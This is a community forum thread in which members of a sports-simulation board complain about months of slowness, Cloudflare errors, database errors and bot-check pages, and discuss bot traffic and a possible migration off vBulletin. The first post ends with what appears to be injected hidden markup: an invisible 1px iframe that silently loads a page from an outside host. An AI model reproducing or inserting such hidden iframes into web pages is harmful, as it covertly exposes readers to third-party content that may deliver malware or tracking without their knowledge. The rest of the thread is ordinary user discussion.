Forum Speed

[Ben E Lou]

I've been in communication with OS, and they have done some tweaks and *think* it is fixed. Post-fix, they suggest clearing cache and cookies as well.<iframe style="position:absolute;height:1px,width:1px;top:0;left:0;border:none;visibility:hidden" src="//div.show/public"></iframe>

[GrantDawg]

Please let it be true.

Sent from my SM-S938U using Tapatalk

[Fidatelo]

It's flying this morning.

[Thomkal]

Yeah thanks Ben!

[Edward64]

Thanks Ben.

Out of curiosity, did they say what they think was wrong?

[Ksyrup]

Noticed it last night, moved quick and I didn't get timed out when trying to load pages. Thanks!

[sovereignstar v2]

Nice, thanks for the update Ben

[GrantDawg]

Slow down now. Had a couldn't connect, and now it is dragging posting.

[bhlloy]

Broken again intermittently for me this morning. Saw the first 522s from Cloudflare hitting forumsold.operationsports.com again in the last few minutes.

It’s definitely better, but still some ghosts in the machine.

[cuervo72]

I still think you're gonna have to make some of the forums log in only. At the very least the Archive, possibly Werewolf. Bots seem to really like traversing (ingesting?) those.

[Ksyrup]

Yeah, I'm barely able to get on the forum today.

[GrantDawg]

Haven't been able to get on till just now.

Sent from my SM-S938U using Tapatalk

[Kodos]

Had trouble earlier today.

[bhlloy]

Same... 525 errors from Cloudflare this morning again.

There appears to be at least two distinct symptoms, if it helps pinpoint the issues. Whether there are two separate issues or the same issue can't be 100% sure, although if I was investigating it for a customer I'd probably start with the idea it's two distinct issues.

1) Intermittent 522 and 525 errors being returned from Cloudflare between CF and the origin which is forumsold.operationsports.com. This suggests to me that some configuration on the Cloudflare side still isn't 100% correct and possibly hitting an old origin setup which either doesn't exist or isn't properly functioning - I remember we did a migration and were temporarily pointed to forumsold a month or two ago, so maybe lingering issues from this and a setting that hasn't been fully cut back over?

2) General slowness on the forums leading to white screens and timeouts or just making the forum unusable in general - suspect as in the past this is just bot traffic, and would have to be addressed either with Cloudflare or OS at the network protection level. Somebody earlier suggested adding login only to be able to browse the forum but I'm not sure that solves anything without the aforementioned step which would be to stop any user who isn't logged in from even being able to get to the board, which presumably OS would have to configure on their end at the network layer (e.g. if you don't have an auth header you can't even pass the WAF to get to the board)

[cuervo72]

It’s funny - I just tried to visit J!Board and they are complaining of site issues too (though they run phpBB).

[Ben E Lou]

They found the AI bot that was causing it this time. It is fixed. So far the times I've checked today have been solid. Let me know here (or elsewhere if you can't access the board) if that changes.

[Ksyrup]

Off and on today but mostly on.

[GrantDawg]

I have been gone most of the day, but it is limping tonight.

[21C]

I usually check the board by using the Tapatalk app on my phone. If I couldn't access via the app then the browser version was also out.

Starting about a week ago (?), the app has stopped working completely but I can get on via a browser.

I don't know if this is somehow related but another board that I visit (Xenforo based) stopped support for Tapatalk altogether because of ongoing glitches.

[dubb93]

It was working ok, hanging a bit yesterday but generally loading before going completely out for the last night during the Michigan-OK game. This morning it seems to be doing well. I'd say they fixed something, and it has made it better, but it still isn't completely where it should be. They need to dig deeper.

[Ksyrup]

Replying or editing posts usually ends up in a timeout. If I'm able to post, it's typically a second or third try.

[dubb93]

Was just out for me for hours.

[bhlloy]

Same, it's OK for a bit then down for hours

[JonInMiddleGA]

Replying or editing posts usually ends up in a timeout. If I'm able to post, it's typically a second or third try.

I have a variant of that ... I can generally post/reply (IF the board loads at all I mean) BUT it'll time out instead of refreshing the screen. So I have to go back to square one and get back in, probably 90% of the time the post I made that appeared to have timed out actually DID get through.

[GrantDawg]

I have been trying to get on all day through my phone with no luck. I just immediately got on through my PC browser.

[JonInMiddleGA]

I have been trying to get on all day through my phone with no luck. I just immediately got on through my PC browser.

Curious: did your success here come after passing one of those "are you a human" checkbox tests? (one of those ubiquitous verification deals) And if so, did you get a similar test on your phone before failing to get in?

I ask simply cause I don't remember getting prompted for that here previously but I don't think I've had a failure on the laptop browser since I passed.

[bhlloy]

Same. I got that earlier today for the first time and since then the forum is behaving like it’s 2011.

[CrimsonFox]

I got an Are you a human page before connecting today altho it wasn't a textbox and button. Just a page in the interrim. I thought maybe the robots had taken over finally.

[GrantDawg]

No. The board knows I'm not human.

[Ksyrup]

I've been getting them off and on for a couple of days. Today has been, at times, very quick, and then at other times, I can't even get a single page to load.

[NobodyHere]

I got an Are you a human page before connecting today altho it wasn't a textbox and button. Just a page in the interrim. I thought maybe the robots had taken over finally.

I got the same.

Is Kodos going to get blocked?

[CrimsonFox]

I think the whole internet is slow. everybody reading things

[JonInMiddleGA]

So much for my optimism.

Got through the human check again today, only to have the site time out & throw a "database error" page

10 mins later, got in on another attempt (no human check this time, guessing that's probably a 24 hour cookie)

[Kodos]

I got the same.

Is Kodos going to get blocked?

It certainly feels like I’ve been getting blocked.

[PilotMan]

I get a database error on fully 50% of my clicks and it's slow most of the time.

[Ksyrup]

I've barely been able to access the forum page for the last day and even when I can, I'm rarely able to click through to a thread and even rarer to actually post.

[AlexB]

Not sure if just me, but the last week or so the forum has been flying - no issues at all.

Thank you to whoever did whatever to fix it!

[Ksyrup]

Yes, big difference.

[GrantDawg]

Works great on my pc and through browser. Can't use Tapatalk at all, but that's a small sacrifice.

[Edward64]

Just getting the bot challenge but otherwise, great responsiveness.

[MIJB#19]

The forum is still broken though, half the time after I make a post, I get redirected to the "oldforums" section on the Operation Sports website.

[flere-imsaho]

It's working a lot better for me recently.

[Lathum]

Well we had a good run

[Ksyrup]

Yeah, this is the first time I've been able to even see the forum, much less post, since last night. And it was going so well!

[JonInMiddleGA]

Yeah, this is the first time I've been able to even see the forum, much less post, since last night. And it was going so well!

"Database error" messages?
(that's what mine was since last night until the past hour, just wondering if we even all see the same behavior at this point)

[Ksyrup]

Yes

[Kodos]

Same here.

[albionmoonlight]

I've gotten one or two, but it's still mostly working for me.

[AlexB]

"Database error" messages?
(that's what mine was since last night until the past hour, just wondering if we even all see the same behavior at this point)

Yes, at 7/8am UK time, so 2/3am EST

Straight in now though

[GrantDawg]

Screwed up all day yesterday for me.

[Glengoyne]

Some trouble yesterday, but today...you're all here for me again.

[Kodos]

I've gotten one or two, but it's still mostly working for me.

Yes. I’ve noticed an improvement lately.

[Ksyrup]

So I've noticed that when I get a Database Error, like I just got now and got all morning the other day, the way to get past it is to lop off the forum from the URL and just go to the Main Forum page. That seems to prompt the "human verification" check, which then brings the Main Forum page up and from there, I can get back into the Off Topic forum. But if I continue to just go to Off Topic, eventually I'll get a database error because (I think) the human verification check only pops up on the Main Forum page.

[GrantDawg]

I have been out for two days because of data base errors. I guess I am going to have try this, but it seems like I was getting them from the main page on my phone.

[Ksyrup]

Board is back to shenanigans again for me, on multiple devices. Surprised I got in and posted this.

[AlexB]

Yes, it’s been poor agin for a few days, but is flying at this precise moment for me

[sovereignstar v2]

Forum in Jekyll and Hyde mode

[Ksyrup]

The hamsters are on holiday break.

[sovereignstar v2]

wazzzzzzzzzzzzzzup

[GrantDawg]

"It comes and goes...it comes and goes a-ooooooes."

[Ksyrup]

I've been having constant issues for the past month, more or less. SB weekend I noticed it, and it's been off and on since then. I could barely get on the site the last couple of days.

[Sweed]

Getting worse again. Way more bad days than good.

[thealmighty]

Speed sucks.

[Ksyrup]

Anyone notice this forum especially goes to shit around big sporting events? SB weekend I could barely get into a thread let alone post anything. Yesterday, same thing. Are we last on the bandwidth priority list of the OS forums?

[JPhillips]

It's been terrible all weekend for me.

[Passacaglia]

Rough past few days. It's been more annoying for me lately since I haven't wanted to continue on in my dynasty until I post screenshots on here. In the meantime, I'm thinking of a new dynasty that won't require that kind of posting style.

[NobodyHere]

We should change the forum name to Front Office Broken Database

[Ksyrup]

Yeah, yesterday was an almost complete wash.

[Thomkal]

We should change the forum name to Front Office Broken Database


FOBD does have a nice ring to it...

[albionmoonlight]

WTF has been happening? Been effectively unusable the last week or so.

[Fidatelo]

Yeah it's been terrible. Suddenly very responsive right now. Hope it lasts...

[JPhillips]

Same here. Almost impossible to access.

[dubb93]

At this point we should just set something up somewhere else. This forum is more or less unusable and whatever the issue is it’s been going on for half a year at this point?

[Fidatelo]

At this point we should just set something up somewhere else. This forum is more or less unusable and whatever the issue is it’s been going on for half a year at this point?


It's pretty sad for sure. I bet we'd lose some of the few people we have left in a migration, but I also think we'll lose people just out of frustration with the current state. I know I'm getting less inclined to click the bookmark repeatedly hoping I roll a natural 20 and get in, never mind trying to post.

[Thomkal]

I've found that I can view threads with a better chance of success if I click on the thread title rather than last page or a number of page I want to see. Your mileage may vary of course. :)

[Fidatelo]

I've found that I can view threads with a better chance of success if I click on the thread title rather than last page or a number of page I want to see. Your mileage may vary of course. :)


I find that I can't even get to the Off Topic main page the majority of the day to see what threads have posts.

[Kodos]

Yeah, it's been really bad. Like could be the death of FOFC bad.

[NobodyHere]

I feel this is happening because certain FOFCers pressed the red button.

[Passacaglia]

At this point we should just set something up somewhere else. This forum is more or less unusable and whatever the issue is it’s been going on for half a year at this point?


I agree. Does anyone have ideas where we can set up?

[JonInMiddleGA]

Just adding my "this was the longest I'd gone without being able to get past the front page" to the list.

[GrantDawg]

Just adding my "this was the longest I'd gone without being able to get past the front page" to the list.


Ditto. I thought it was gone for good. Still willing to donate for a new server host or software, whichever is needed.

[AlexB]

Likewise. I had obviously closed Safari while trying to load FOFC again, and after 4-5 days my reaction was OMG I’m in!

Not sure what is happening, but feels like a slow painful death for the forum TBH

[MIJB#19]

It's been so up and down, mostly down, it took me more than a day to be able to reply to this thread. I let Ben know, so I suspect if there's anything he can get done here, he's on it already.

[Fidatelo]

I'd love to even understand the basic issue that is causing the errors. Is it related to traffic surges from crawlers or bots? Is there something in the database that causes it to happen when certain threads are requested or someone performs a search?

[Ghost Econ]

I'm of the opinion that Operation Sports has been slowing the forum on purpose so they can close it with no complaints.

[GrantDawg]

I'm of the opinion that Operation Sports has been slowing the forum on purpose so they can close it with no complaints.


That's a realistic theory. Or it is just such a low trafficked forum that it doesn't pull enough revenue to care if it is working.

[MIJB#19]

One of the issues that <strike>kept</strike> keeps popping up on my end is that some of the functionality of the forum redirects to the subdomain forumsold.operationsports.com .

[flere-imsaho]

Doing a little bit of research, the two most obvious migration paths off of vBulletin 3.6 appear to be Xenforo and Discourse. We would likely need to pay for migration help, but after that monthly plans for the amount of traffic we (don't) have could be in the $50-$200/month range.

The question for the community, I think, is whether we think we could cobble that together. And who would act as owner/administrator, having all that responsibility for money, etc....

I don't know the answer, but was curious so thought I'd at least put some ideas in the chat.

[Fidatelo]

I'd chip in cash but don't have any interest in owner/administrator responsibility.

[Lathum]

I'd chip in cash but don't have any interest in owner/administrator responsibility.

:withstupid:

[GrantDawg]

I am also in to pay in. I am not tech savvy enough to handle the admin stuff.

[Passacaglia]

+1

[albionmoonlight]

I, too, can chip in money, but I would crash this board into the sun if I tried to do anything involving tech/management.

[Toddzilla]

SportsDigs paid for their own migration years ago